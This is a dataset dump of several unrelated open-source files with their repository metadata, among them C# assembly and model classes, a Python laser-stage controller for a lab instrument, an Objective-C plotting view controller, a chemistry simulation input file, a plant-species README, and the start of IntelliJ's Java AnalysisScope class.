text stringlengths 2 1.04M | meta dict |
|---|---|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("2.RandomNumbers")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("2.RandomNumbers")]
[assembly: AssemblyCopyright("Copyright © 2015")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("072dcc14-89a2-48d3-bcb5-55c265dd6767")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| {
"content_hash": "2db714b7fafa29a8ac8891d35c963c44",
"timestamp": "",
"source": "github",
"line_count": 36,
"max_line_length": 84,
"avg_line_length": 38.97222222222222,
"alnum_prop": 0.744832501781896,
"repo_name": "aleksandra992/TelerikAcademy",
"id": "263792203e6d2084129200154e57cfc5723ffeba",
"size": "1406",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "CSharp Part 2/UsingClassesAndObjects/2.RandomNumbers/Properties/AssemblyInfo.cs",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "ASP",
"bytes": "8397"
},
{
"name": "Batchfile",
"bytes": "48"
},
{
"name": "C#",
"bytes": "1840752"
},
{
"name": "CSS",
"bytes": "100796"
},
{
"name": "HTML",
"bytes": "444296"
},
{
"name": "JavaScript",
"bytes": "647779"
},
{
"name": "PHP",
"bytes": "5957"
},
{
"name": "XSLT",
"bytes": "5943"
}
],
"symlink_target": ""
} |
import time
# ============= local library imports ==========================
from pychron.core.helpers.strtools import csv_to_floats
from pychron.lasers.laser_managers.serial_laser_manager import SerialLaserManager
class ReadPositionError(BaseException):
def __init__(self, xyz):
self._msg = "ReadPosition error. Laser responded={}".format(xyz)
def __str__(self):
return self._msg
def __repr__(self):
return self._msg
class AblationCO2Manager(SerialLaserManager):
stage_manager_id = "ablation.pychron"
configuration_dir_name = "ablation"
read_delay = 25
def set_tray(self, t):
if self.stage_manager:
self.stage_manager.stage_map_name = t
def _test_connection_hook(self):
i = 0
n = 3
while 1:
re = self._ask("GetVersion")
if re:
self.connected = True
return
elif i > n:
self.connected = False
return
time.sleep(1)
i += 1
def end_extract(self, *args, **kw):
self.info("ending extraction. set laser power to 0")
self.set_laser_power(0)
if self._patterning:
self.stop_pattern()
self.disable_laser()
def fire_laser(self):
self.info("fire laser")
self._ask("SetLaserOn 1")
def extract(self, value, units=None, tol=0.1, fire_laser=True, **kw):
if units is None:
units = "watts"
self.info("set laser output to {} {}".format(value, units))
if units == "watts":
ovalue = value
value = self.calculate_calibrated_power(value)
if value < 0:
self.warning(
"Consider changing you calibration curve. "
"{} watts converted to {}%. % must be positive".format(
ovalue, value
)
)
value = 0
resp = self.set_laser_power(value)
if fire_laser:
time.sleep(1)
self.fire_laser()
try:
return abs(float(resp) - value) < tol
except BaseException:
pass
def set_laser_power(self, v):
self.debug("setting laser output to {}".format(v))
return self._ask("SetLaserOutput {}".format(v))
def enable_laser(self, **kw):
# self._ask('laser.enable ON')
self.info("enabling laser")
self._ask("SetLaserFireMode 3") # 3= continuous wave
# self._ask('SetLaserOn 1')
self.enabled = True
def disable_laser(self):
self.info("disabling laser")
self.set_laser_power(0)
self._ask("SetLaserOn 0")
self.enabled = False
def get_position(self, retry=True):
x, y, z = self._x, self._y, self._z
xyz = self._ask("ReadPosition")
if xyz:
try:
x, y, z = [float(v) for v in xyz.split(",")]
if self.stage_manager.use_sign_position_correction:
x = x * self.stage_manager.x_sign
y = y * self.stage_manager.y_sign
z = z * self.stage_manager.z_sign
except ValueError:
self.warning("failed parsing position: {}".format(xyz))
if retry:
time.sleep(0.5)
x, y, z = self.get_position(retry=False)
else:
raise ReadPositionError(xyz)
return x, y, z
def _ask(self, cmd, retry=3):
resp = super(AblationCO2Manager, self)._ask(cmd)
if not resp or (resp and resp.strip().startswith("ERROR")):
if retry:
resp = self._ask(cmd, retry - 1)
return resp
def linear_move(self, x, y, block=False, *args, **kw):
self._move_to_position((x, y), block=block)
def stop(self):
self.warning_dialog(
"The Laser Ablation software does not allow remote stopping of the laser motion"
)
# self._ask('stage.stop')
# self._is_moving = False
# self.update_position()
# private
def _stage_stop_button_fired(self):
self.stop()
def _fire_laser_button_fired(self):
# if self._firing:
# cmd = 0
# else:
# cmd = 1
self._firing = not self._firing
self._ask("SetLaserOn {}".format(int(self._firing)))
def _output_power_changed(self, new):
self.extract(new, self.units, fire_laser=False)
def _set_x(self, v):
if self._move_enabled and v != self._x:
self._is_moving = True
self._ask("SetPosition {:0.3f},{:0.3f},{:0.3f}".format(v, self._y, self._z))
self._single_axis_moving(v, 0)
def _set_y(self, v):
if self._move_enabled and v != self._y:
self._is_moving = True
self._ask("SetPosition {:0.3f},{:0.3f},{:0.3f}".format(self._x, v, self._z))
self._single_axis_moving(v, 1)
def _set_z(self, v):
if self._move_enabled and v != self._z:
self._is_moving = True
self._ask("SetPosition {:0.3f},{:0.3f},{:0.3f}".format(self._x, self._y, v))
self._single_axis_moving(v, 2)
def _single_axis_moving(self, v, axis):
def cmpfunc(xyz):
try:
if not self._is_moving:
return True
# pos =[float(p) for p in xyz.split(','))[axis]
pos = float(xyz.split(",")[axis])
return abs(pos - v) > 2
# print map(lambda ab: abs(ab[0] - ab[1]) <= 2,
# zip(map(float, xyz.split(',')),
# (xm, ym, zm)))
# return not all(map(lambda ab: abs(ab[0] - ab[1]) <= 2,
# zip(map(float, xyz.split(',')),
# (xm, ym, zm))))
except ValueError as e:
print("_moving exception {}".format(e))
self._block(cmd="ReadPosition", cmpfunc=cmpfunc)
time.sleep(0.25)
self._is_moving = False
self.update_position()
def _move_to_position(self, pos, autocenter=False, block=True, *args, **kw):
sm = self.stage_manager
try:
x, y = self._get_hole_xy(pos)
except ValueError:
return
z = self._z
# xs = 5000
# ys = 5000
# zs = 100
self._is_moving = True
self.debug("pos={}, x={}, y={}".format(pos, x, y))
if sm.use_sign_position_correction:
x *= sm.x_sign
y *= sm.y_sign
z *= sm.z_sign
cmd = "SetPosition {:0.3f},{:0.3f},{:0.3f}".format(x, y, z)
self.info("sending {}".format(cmd))
self._ask(cmd)
time.sleep(1)
return self._moving(x, y, z, block)
def _moving(self, xm, ym, zm, block=True):
r = True
if block:
time.sleep(0.5)
def cmpfunc(xyz):
try:
if not self._is_moving:
return True
# ps = [float(p) for p in xyz.split(',')]
ps = csv_to_floats(xyz)
# return not all([abs(ab[0] - ab[1]) <= 2 for ab in zip(list(map(float, xyz.split(','))),
# (xm, ym, zm))])
return not all(abs(a - b) <= 0.01 for a, b in zip(ps, (xm, ym, zm)))
except ValueError as e:
print("_moving exception {}".format(e))
r = self._block(cmd="ReadPosition", cmpfunc=cmpfunc, period=1)
self._is_moving = False
time.sleep(0.5)
self.update_position()
return r
def _stage_manager_default(self):
name = "ablation"
args = dict(
name="stage",
configuration_name="stage",
configuration_dir_name=name,
parent=self,
)
return self._stage_manager_factory(args)
def _stage_manager_factory(self, args):
from pychron.lasers.stage_managers.ablation_stage_manager import (
AblationStageManager,
)
self.stage_args = args
klass = AblationStageManager
sm = klass(**args)
sm.id = self.stage_manager_id
return sm
def _pattern_executor_default(self):
from pychron.lasers.pattern.pattern_executor import PatternExecutor
pm = PatternExecutor(
application=self.application, controller=self, laser_manager=self
)
return pm
# ============= EOF =============================================
| {
"content_hash": "bf44f6ab0bef03b04d1d4352c1c8f4af",
"timestamp": "",
"source": "github",
"line_count": 283,
"max_line_length": 109,
"avg_line_length": 30.90459363957597,
"alnum_prop": 0.49485479076149097,
"repo_name": "NMGRL/pychron",
"id": "f10c4d9598b40f94fc5891c5b729f38b844b2364",
"size": "9612",
"binary": false,
"copies": "2",
"ref": "refs/heads/main",
"path": "pychron/lasers/laser_managers/ablation_laser_manager.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Batchfile",
"bytes": "128"
},
{
"name": "C++",
"bytes": "3706"
},
{
"name": "CSS",
"bytes": "263"
},
{
"name": "Cython",
"bytes": "1692"
},
{
"name": "Fortran",
"bytes": "455875"
},
{
"name": "HTML",
"bytes": "46796"
},
{
"name": "Mako",
"bytes": "412"
},
{
"name": "Processing",
"bytes": "11421"
},
{
"name": "Python",
"bytes": "10773692"
},
{
"name": "Shell",
"bytes": "1003"
}
],
"symlink_target": ""
} |
@implementation APYahooDataPullerGraph
-(void)reloadData
{
if ( !graph ) {
graph = [[CPTXYGraph alloc] initWithFrame:CGRectZero];
CPTTheme *theme = [CPTTheme themeNamed:@"Dark Gradients"];
[graph applyTheme:theme];
graph.paddingTop = 30.0;
graph.paddingBottom = 30.0;
graph.paddingLeft = 50.0;
graph.paddingRight = 50.0;
CPTScatterPlot *dataSourceLinePlot = [[[CPTScatterPlot alloc] initWithFrame:graph.bounds] autorelease];
dataSourceLinePlot.identifier = @"Data Source Plot";
CPTMutableLineStyle *lineStyle = [[dataSourceLinePlot.dataLineStyle mutableCopy] autorelease];
lineStyle.lineWidth = 1.f;
lineStyle.lineColor = [CPTColor redColor];
dataSourceLinePlot.dataLineStyle = lineStyle;
dataSourceLinePlot.dataSource = self;
[graph addPlot:dataSourceLinePlot];
}
if ( [[self.graphHost.layer sublayers] indexOfObject:graph] == NSNotFound ) {
[self.graphHost.layer addSublayer:graph];
}
CPTXYPlotSpace *plotSpace = (CPTXYPlotSpace *)graph.defaultPlotSpace;
NSDecimalNumber *high = [dataPuller overallHigh];
NSDecimalNumber *low = [dataPuller overallLow];
NSDecimalNumber *length = [high decimalNumberBySubtracting:low];
//NSLog(@"high = %@, low = %@, length = %@", high, low, length);
plotSpace.xRange = [CPTPlotRange plotRangeWithLocation:CPTDecimalFromDouble(0.0) length:CPTDecimalFromUnsignedInteger([dataPuller.financialData count])];
plotSpace.yRange = [CPTPlotRange plotRangeWithLocation:[low decimalValue] length:[length decimalValue]];
// Axes
CPTXYAxisSet *axisSet = (CPTXYAxisSet *)graph.axisSet;
CPTXYAxis *x = axisSet.xAxis;
x.majorIntervalLength = CPTDecimalFromDouble(10.0);
x.orthogonalCoordinateDecimal = CPTDecimalFromInteger(0);
x.minorTicksPerInterval = 1;
CPTXYAxis *y = axisSet.yAxis;
NSDecimal six = CPTDecimalFromInteger(6);
y.majorIntervalLength = CPTDecimalDivide([length decimalValue], six);
y.majorTickLineStyle = nil;
y.minorTicksPerInterval = 4;
y.minorTickLineStyle = nil;
y.orthogonalCoordinateDecimal = CPTDecimalFromInteger(0);
y.alternatingBandFills = [NSArray arrayWithObjects:[[CPTColor whiteColor] colorWithAlphaComponent:0.1], [NSNull null], nil];
[graph reloadData];
[[self navigationItem] setTitle:[dataPuller symbol]];
}
-(void)viewWillAppear:(BOOL)animated
{
[super viewWillAppear:animated];
graph.frame = self.view.bounds;
}
// Implement viewDidLoad to do additional setup after loading the view, typically from a nib.
-(void)viewDidLoad
{
[super viewDidLoad];
[self reloadData];
}
// Override to allow orientations other than the default portrait orientation.
-(BOOL)shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation
{
// Return YES for supported orientations
return interfaceOrientation == UIInterfaceOrientationPortrait ||
interfaceOrientation == UIInterfaceOrientationLandscapeLeft ||
interfaceOrientation == UIInterfaceOrientationLandscapeRight;
}
-(void)willRotateToInterfaceOrientation:(UIInterfaceOrientation)toInterfaceOrientation duration:(NSTimeInterval)duration;
{
// NSLog(@"willRotateToInterfaceOrientation");
//[graph.axisSet relabelAxes];
}
-(void)didRotateFromInterfaceOrientation:(UIInterfaceOrientation)toInterfaceOrientation;
{
// NSLog(@"didRotateFromInterfaceOrientation");
[graph.axisSet relabelAxes];
}
-(void)didReceiveMemoryWarning
{
// Releases the view if it doesn't have a superview.
[super didReceiveMemoryWarning];
// Release any cached data, images, etc that aren't in use.
}
-(void)viewDidUnload
{
// Release any retained subviews of the main view.
// e.g. self.myOutlet = nil;
}
#pragma mark -
#pragma mark Plot Data Source Methods
-(NSUInteger)numberOfRecords
{
return self.dataPuller.financialData.count;
}
-(NSNumber *)numberForPlot:(CPTPlot *)plot field:(NSUInteger)fieldEnum recordIndex:(NSUInteger)index
{
NSDecimalNumber *num = [NSDecimalNumber zero];
if ( fieldEnum == CPTScatterPlotFieldX ) {
num = (NSDecimalNumber *)[NSDecimalNumber numberWithInt:index + 1];
}
else if ( fieldEnum == CPTScatterPlotFieldY ) {
NSArray *financialData = self.dataPuller.financialData;
NSDictionary *fData = (NSDictionary *)[financialData objectAtIndex:[financialData count] - index - 1];
num = [fData objectForKey:@"close"];
NSAssert([num isMemberOfClass:[NSDecimalNumber class]], @"grrr");
}
return num;
}
-(void)dataPullerFinancialDataDidChange:(APYahooDataPuller *)dp;
{
[self reloadData];
}
#pragma mark accessors
@synthesize graphHost;
-(APYahooDataPuller *)dataPuller
{
//NSLog(@"in -dataPuller, returned dataPuller = %@", dataPuller);
return dataPuller;
}
-(void)setDataPuller:(APYahooDataPuller *)aDataPuller
{
//NSLog(@"in -setDataPuller:, old value of dataPuller: %@, changed to: %@", dataPuller, aDataPuller);
if ( dataPuller != aDataPuller ) {
[aDataPuller retain];
[dataPuller release];
dataPuller = aDataPuller;
[dataPuller setDelegate:self];
[self reloadData];
}
}
-(void)dealloc
{
if ( dataPuller.delegate == self ) {
[dataPuller setDelegate:nil];
}
[dataPuller release];
dataPuller = nil;
[graphHost release];
graphHost = nil;
[graph release];
graph = nil;
[super dealloc];
}
-(NSUInteger)numberOfRecordsForPlot:(CPTPlot *)plot
{
return [self numberOfRecords];
}
@end
| {
"content_hash": "c0ea3cc11f27ad857a69955764ac24bf",
"timestamp": "",
"source": "github",
"line_count": 183,
"max_line_length": 157,
"avg_line_length": 31.24590163934426,
"alnum_prop": 0.6962224554039874,
"repo_name": "aufflick/core-plot",
"id": "eae625f580b7deea72934a12d912b2f926c91daf",
"size": "5909",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "examples/StockPlot/Classes/APYahooDataPullerGraph.m",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "C",
"bytes": "17035"
},
{
"name": "D",
"bytes": "343"
},
{
"name": "JavaScript",
"bytes": "602937"
},
{
"name": "Objective-C",
"bytes": "1899495"
},
{
"name": "Perl",
"bytes": "5096"
},
{
"name": "Python",
"bytes": "10576"
},
{
"name": "Shell",
"bytes": "631"
}
],
"symlink_target": ""
} |
database(
thermoLibraries = ['primaryThermoLibrary'],
reactionLibraries = [],
seedMechanisms = [],
kineticsDepositories = ['training'],
kineticsFamilies = ['!Intra_Disproportionation','!Substitution_O'],
kineticsEstimator = 'rate rules',
)
# List of species
species(
label='ethane',
reactive=True,
structure=SMILES("CC"),
)
# Reaction systems
simpleReactor(
temperature=(1350,'K'),
pressure=(1.0,'bar'),
initialMoleFractions={
"ethane": 1.0,
},
terminationConversion={
'ethane': 0.9,
},
terminationTime=(1e6,'s'),
sensitivity=['ethane'],
sensitivityThreshold=0.01,
)
simulator(
atol=1e-16,
rtol=1e-8,
sens_atol=1e-6,
sens_rtol=1e-4,
)
model(
toleranceKeepInEdge=0.0,
toleranceMoveToCore=0.1,
toleranceInterruptSimulation=0.1,
maximumEdgeSpecies=100000
)
options(
units='si',
saveRestartPeriod=None,
saveSimulationProfiles=True,
drawMolecules=False,
generatePlots=False,
)
| {
"content_hash": "fd7c7180b6c77dcbd5e505a45a9d04a7",
"timestamp": "",
"source": "github",
"line_count": 52,
"max_line_length": 71,
"avg_line_length": 19.557692307692307,
"alnum_prop": 0.6460176991150443,
"repo_name": "enochd/RMG-Py",
"id": "1bf80ef09e70a9645ec76339de3d4e0b475ed181",
"size": "1032",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "examples/sensitivity/input.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "3650"
},
{
"name": "Makefile",
"bytes": "3781"
},
{
"name": "Python",
"bytes": "3139323"
},
{
"name": "Shell",
"bytes": "8634"
}
],
"symlink_target": ""
} |
// ***********************************************************************
// Assembly : EveLib.EveOnline
// Author : Lars Kristian
// Created : 03-06-2014
//
// Last Modified By : Lars Kristian
// Last Modified On : 06-19-2014
// ***********************************************************************
// <copyright file="MarketOrders.cs" company="">
// Copyright (c) . All rights reserved.
// </copyright>
// <summary></summary>
// ***********************************************************************
using System;
using System.Xml.Serialization;
using eZet.EveLib.EveXmlModule.Util;
namespace eZet.EveLib.EveXmlModule.Models.Character {
/// <summary>
/// Class MarketOrders.
/// </summary>
[Serializable]
[XmlRoot("result", IsNullable = false)]
public class MarketOrders {
/// <summary>
/// Gets or sets the orders.
/// </summary>
/// <value>The orders.</value>
[XmlElement("rowset")]
public EveXmlRowCollection<MarketOrder> Orders { get; set; }
/// <summary>
/// Class MarketOrder.
/// </summary>
[Serializable]
[XmlRoot("row")]
public class MarketOrder {
/// <summary>
/// Gets or sets the order identifier.
/// </summary>
/// <value>The order identifier.</value>
[XmlAttribute("orderID")]
public long OrderId { get; set; }
/// <summary>
/// Gets or sets the character identifier.
/// </summary>
/// <value>The character identifier.</value>
[XmlAttribute("charID")]
public long CharacterId { get; set; }
/// <summary>
/// Gets or sets the station identifier.
/// </summary>
/// <value>The station identifier.</value>
[XmlAttribute("stationID")]
public int StationId { get; set; }
/// <summary>
/// Gets or sets the volume entered.
/// </summary>
/// <value>The volume entered.</value>
[XmlAttribute("volEntered")]
public int VolumeEntered { get; set; }
/// <summary>
/// Gets or sets the volume remaining.
/// </summary>
/// <value>The volume remaining.</value>
[XmlAttribute("volRemaining")]
public int VolumeRemaining { get; set; }
/// <summary>
/// Gets or sets the minimum volume.
/// </summary>
/// <value>The minimum volume.</value>
[XmlAttribute("minVolume")]
public int MinVolume { get; set; }
/// <summary>
/// Gets or sets the state of the order.
/// </summary>
/// <value>The state of the order.</value>
[XmlAttribute("orderState")]
public int OrderState { get; set; }
/// <summary>
/// Gets or sets the type identifier.
/// </summary>
/// <value>The type identifier.</value>
[XmlAttribute("typeID")]
public int TypeId { get; set; }
/// <summary>
/// Gets or sets the range.
/// </summary>
/// <value>The range.</value>
[XmlAttribute("range")]
public int Range { get; set; }
/// <summary>
/// Gets or sets the account key.
/// </summary>
/// <value>The account key.</value>
[XmlAttribute("accountKey")]
public int AccountKey { get; set; }
/// <summary>
/// Gets or sets the duration.
/// </summary>
/// <value>The duration.</value>
[XmlAttribute("duration")]
public int Duration { get; set; }
/// <summary>
/// Gets or sets the escrow.
/// </summary>
/// <value>The escrow.</value>
[XmlAttribute("escrow")]
public decimal Escrow { get; set; }
/// <summary>
/// Gets or sets the price.
/// </summary>
/// <value>The price.</value>
[XmlAttribute("price")]
public decimal Price { get; set; }
/// <summary>
/// Gets or sets the bid.
/// </summary>
/// <value>The bid.</value>
[XmlAttribute("bid")]
public int Bid { get; set; }
/// <summary>
/// Gets the issued date.
/// </summary>
/// <value>The issued date.</value>
[XmlIgnore]
public DateTime IssuedDate { get; private set; }
/// <summary>
/// Gets or sets the issued date as string.
/// </summary>
/// <value>The issued date as string.</value>
[XmlAttribute("issued")]
public string IssuedDateAsString {
get { return IssuedDate.ToString(XmlHelper.DateFormat); }
set { IssuedDate = DateTime.ParseExact(value, XmlHelper.DateFormat, null); }
}
}
}
} | {
"content_hash": "751bae93c078792c202828881180cf1a",
"timestamp": "",
"source": "github",
"line_count": 155,
"max_line_length": 92,
"avg_line_length": 33.99354838709677,
"alnum_prop": 0.45606376921617003,
"repo_name": "RapidFiring/evelib",
"id": "d2ee1459783872f849e4ca7138a21e7bbdbabdde",
"size": "5271",
"binary": false,
"copies": "4",
"ref": "refs/heads/master",
"path": "EveLib.EveXml/Models/Character/MarketOrders.cs",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Batchfile",
"bytes": "1033"
},
{
"name": "C#",
"bytes": "1063038"
}
],
"symlink_target": ""
} |
/* IBM_PROLOG_BEGIN_TAG */
/* This is an automatically generated prolog. */
/* */
/* $Source: src/build/beam/targeting/targetservice.C $ */
/* */
/* OpenPOWER HostBoot Project */
/* */
/* COPYRIGHT International Business Machines Corp. 2011,2014 */
/* */
/* Licensed under the Apache License, Version 2.0 (the "License"); */
/* you may not use this file except in compliance with the License. */
/* You may obtain a copy of the License at */
/* */
/* http://www.apache.org/licenses/LICENSE-2.0 */
/* */
/* Unless required by applicable law or agreed to in writing, software */
/* distributed under the License is distributed on an "AS IS" BASIS, */
/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or */
/* implied. See the License for the specific language governing */
/* permissions and limitations under the License. */
/* */
/* IBM_PROLOG_END_TAG */
>>>MISTAKE5_queryMasterProcChipTargetHandle_2745d8d11505
>>>MISTAKE5_queryMasterProcChipTargetHandle_da38b67e1505
| {
"content_hash": "c492bfaaea2bd657b2c36af688504e54",
"timestamp": "",
"source": "github",
"line_count": 24,
"max_line_length": 76,
"avg_line_length": 75.33333333333333,
"alnum_prop": 0.3877212389380531,
"repo_name": "shenki/hostboot",
"id": "4e069351d4bd42b141bd15aec004233ab6ab9cee",
"size": "1808",
"binary": false,
"copies": "5",
"ref": "refs/heads/master",
"path": "src/build/beam/targeting/targetservice.C",
"mode": "33188",
"license": "apache-2.0",
"language": [],
"symlink_target": ""
} |
ACCEPTED
#### According to
International Plant Names Index
#### Published in
null
#### Original name
null
### Remarks
null | {
"content_hash": "4b358da5e6cad959852be282e7923a82",
"timestamp": "",
"source": "github",
"line_count": 13,
"max_line_length": 31,
"avg_line_length": 9.692307692307692,
"alnum_prop": 0.7063492063492064,
"repo_name": "mdoering/backbone",
"id": "be60b4686dd0b05b05a73b6eda46ee5752d94561",
"size": "200",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "life/Plantae/Magnoliophyta/Magnoliopsida/Ranunculales/Menispermaceae/Hyalosepalum/Hyalosepalum gossweileri/README.md",
"mode": "33188",
"license": "apache-2.0",
"language": [],
"symlink_target": ""
} |
// Copyright 2000-2021 JetBrains s.r.o. and contributors. Use of this source code is governed by the Apache 2.0 license.
package com.intellij.analysis;
import com.intellij.codeInsight.daemon.ProblemHighlightFilter;
import com.intellij.lang.injection.InjectedLanguageManager;
import com.intellij.openapi.application.ApplicationManager;
import com.intellij.openapi.application.ReadAction;
import com.intellij.openapi.diagnostic.Logger;
import com.intellij.openapi.module.Module;
import com.intellij.openapi.module.ModuleManager;
import com.intellij.openapi.progress.ProgressIndicator;
import com.intellij.openapi.progress.ProgressManager;
import com.intellij.openapi.project.DumbService;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.project.ProjectCoreUtil;
import com.intellij.openapi.project.ProjectUtilCore;
import com.intellij.openapi.roots.*;
import com.intellij.openapi.roots.libraries.LibraryUtil;
import com.intellij.openapi.util.io.FileUtilRt;
import com.intellij.openapi.util.text.StringUtil;
import com.intellij.openapi.vfs.*;
import com.intellij.psi.*;
import com.intellij.psi.search.GlobalSearchScope;
import com.intellij.psi.search.GlobalSearchScopesCore;
import com.intellij.psi.search.LocalSearchScope;
import com.intellij.psi.search.SearchScope;
import com.intellij.psi.util.PsiUtilCore;
import com.intellij.util.ArrayUtil;
import com.intellij.util.Processor;
import com.intellij.util.containers.ContainerUtil;
import org.intellij.lang.annotations.MagicConstant;
import org.jetbrains.annotations.Nls;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import java.io.File;
import java.util.*;
public class AnalysisScope {
private static final Logger LOG = Logger.getInstance(AnalysisScope.class);
public static final int PROJECT = 1;
public static final int DIRECTORY = 2;
public static final int FILE = 3;
public static final int MODULE = 4;
protected static final int PACKAGE = 5;
public static final int INVALID = 6;
public static final int MODULES = 7;
public static final int CUSTOM = 8;
public static final int VIRTUAL_FILES = 9;
public static final int UNCOMMITTED_FILES = 10;
@MagicConstant(intValues = {PROJECT, DIRECTORY, FILE, MODULE, PACKAGE, INVALID, MODULES, CUSTOM, VIRTUAL_FILES, UNCOMMITTED_FILES})
public @interface Type { }
@NotNull
private final Project myProject;
protected List<Module> myModules;
protected Module myModule;
protected PsiElement myElement;
private final SearchScope myScope;
private boolean mySearchInLibraries;
private GlobalSearchScope myFilter;
@Type protected int myType;
private Set<? extends VirtualFile> myVFiles; // initial files and directories the scope is configured on
private VirtualFileSet myFilesSet; // set of files (not directories) this scope consists of. calculated in getFilesSet()
private boolean myIncludeTestSource = true;
private boolean myAnalyzeInjectedCode = true;
public AnalysisScope(@NotNull Project project) {
myProject = project;
myElement = null;
myModules = null;
myModule = null;
myScope = null;
myType = PROJECT;
myVFiles = null;
}
public AnalysisScope(@NotNull Module module) {
myProject = module.getProject();
myElement = null;
myModules = null;
myScope = null;
myModule = module;
myType = MODULE;
myVFiles = null;
}
public AnalysisScope(Module @NotNull [] modules) {
myModules = Arrays.asList(modules);
myModule = null;
myProject = modules[0].getProject();
myElement = null;
myScope = null;
myType = MODULES;
myVFiles = null;
}
public AnalysisScope(@NotNull PsiDirectory psiDirectory) {
myProject = psiDirectory.getProject();
myModules = null;
myModule = null;
myScope = null;
myElement = psiDirectory;
myType = DIRECTORY;
myVFiles = null;
}
public AnalysisScope(@NotNull PsiFile psiFile) {
myProject = psiFile.getProject();
myElement = psiFile;
myModule = null;
myModules = null;
myScope = null;
myType = FILE;
myVFiles = null;
}
public AnalysisScope(@NotNull SearchScope scope, @NotNull Project project) {
myProject = project;
myElement = null;
myModule = null;
myModules = null;
myScope = scope;
myType = CUSTOM;
mySearchInLibraries = scope instanceof GlobalSearchScope && ((GlobalSearchScope)scope).isSearchInLibraries();
myVFiles = null;
}
public AnalysisScope(@NotNull Project project, @NotNull Collection<? extends VirtualFile> virtualFiles) {
myProject = project;
myElement = null;
myModule = null;
myModules = null;
myScope = null;
VirtualFileSet files = VfsUtilCore.createCompactVirtualFileSet(virtualFiles);
files.freeze();
myVFiles = files;
myType = VIRTUAL_FILES;
}
public void setSearchInLibraries(boolean searchInLibraries) {
LOG.assertTrue(myFilesSet == null, "don't modify AnalysisScope after it has been used");
mySearchInLibraries = searchInLibraries;
}
public void setIncludeTestSource(boolean includeTestSource) {
LOG.assertTrue(myFilesSet == null, "don't modify AnalysisScope after it has been used");
myIncludeTestSource = includeTestSource;
}
public void setAnalyzeInjectedCode(boolean analyzeInjectedCode) {
LOG.assertTrue(myFilesSet == null, "don't modify AnalysisScope after it has been used");
myAnalyzeInjectedCode = analyzeInjectedCode;
}
protected @NotNull Processor<? super VirtualFile> createFileSearcher(@NotNull Collection<? super VirtualFile> addTo) {
ProgressIndicator indicator = ProgressManager.getInstance().getProgressIndicator();
if (indicator != null) {
indicator.setText(AnalysisBundle.message("scanning.scope.progress.title"));
}
return virtualFile -> {
addTo.add(virtualFile);
return true;
};
}
private boolean isFilteredOut(@NotNull VirtualFile virtualFile) {
GlobalSearchScope filter = myFilter;
if (filter != null && !filter.contains(virtualFile)) {
return true;
}
return !myIncludeTestSource && TestSourcesFilter.isTestSources(virtualFile, myProject);
}
@NotNull
private FileIndex getFileIndex() {
return myModule == null ?
ProjectRootManager.getInstance(myProject).getFileIndex() :
ModuleRootManager.getInstance(myModule).getFileIndex();
}
@NotNull
private static String displayProjectRelativePath(@NotNull PsiFileSystemItem item) {
VirtualFile virtualFile = item.getVirtualFile();
LOG.assertTrue(virtualFile != null, item);
return ProjectUtilCore.displayUrlRelativeToProject(virtualFile, virtualFile.getPresentableUrl(), item.getProject(), true, false);
}
public boolean contains(@NotNull PsiElement psiElement) {
VirtualFile file = psiElement.getContainingFile().getVirtualFile();
return file != null && contains(file);
}
public boolean contains(@NotNull VirtualFile file) {
if (myFilesSet == null) {
if (myType == CUSTOM) {
// optimization
if (myScope != null) return myScope.contains(file);
}
if (myType == PROJECT) { //optimization
ProjectFileIndex index = ProjectRootManager.getInstance(myProject).getFileIndex();
return index.isInContent(file) && !isFilteredOut(file);
}
}
return getFileSet().contains(file);
}
@NotNull
protected VirtualFileSet createFilesSet() {
VirtualFileSet fileSet = VfsUtilCore.createCompactVirtualFileSet();
switch (myType) {
case FILE:
fileSet.add(((PsiFileSystemItem)myElement).getVirtualFile());
fileSet.freeze();
break;
case DIRECTORY:
case PROJECT:
case MODULES:
case MODULE:
case CUSTOM:
long timeStamp = System.currentTimeMillis();
accept(createFileSearcher(fileSet));
fileSet.freeze();
LOG.info("Scanning scope took " + (System.currentTimeMillis() - timeStamp) + " ms");
break;
case VIRTUAL_FILES:
ProjectFileIndex fileIndex = ProjectRootManager.getInstance(myProject).getFileIndex();
for (VirtualFile vFile : myVFiles) {
VfsUtilCore.visitChildrenRecursively(vFile, new VirtualFileVisitor<Void>() {
@NotNull
@Override
public Result visitFileEx(@NotNull VirtualFile file) {
boolean ignored = ReadAction.compute(() -> fileIndex.isExcluded(file));
if (!ignored && !file.isDirectory()) {
fileSet.add(file);
}
return ignored ? SKIP_CHILDREN : CONTINUE;
}
});
}
fileSet.freeze();
break;
default:
throw new IllegalStateException("Invalid type: "+myType+"; can't create file set off it");
}
return fileSet;
}
public void accept(@NotNull PsiElementVisitor visitor) {
acceptImpl(visitor, false);
}
/**
* A drop-in replacement for {@link #accept(PsiElementVisitor)} that invokes the visitor in a non-blocking cancellable read action,
* so that the visitor can be interrupted and restarted several times on the same file.
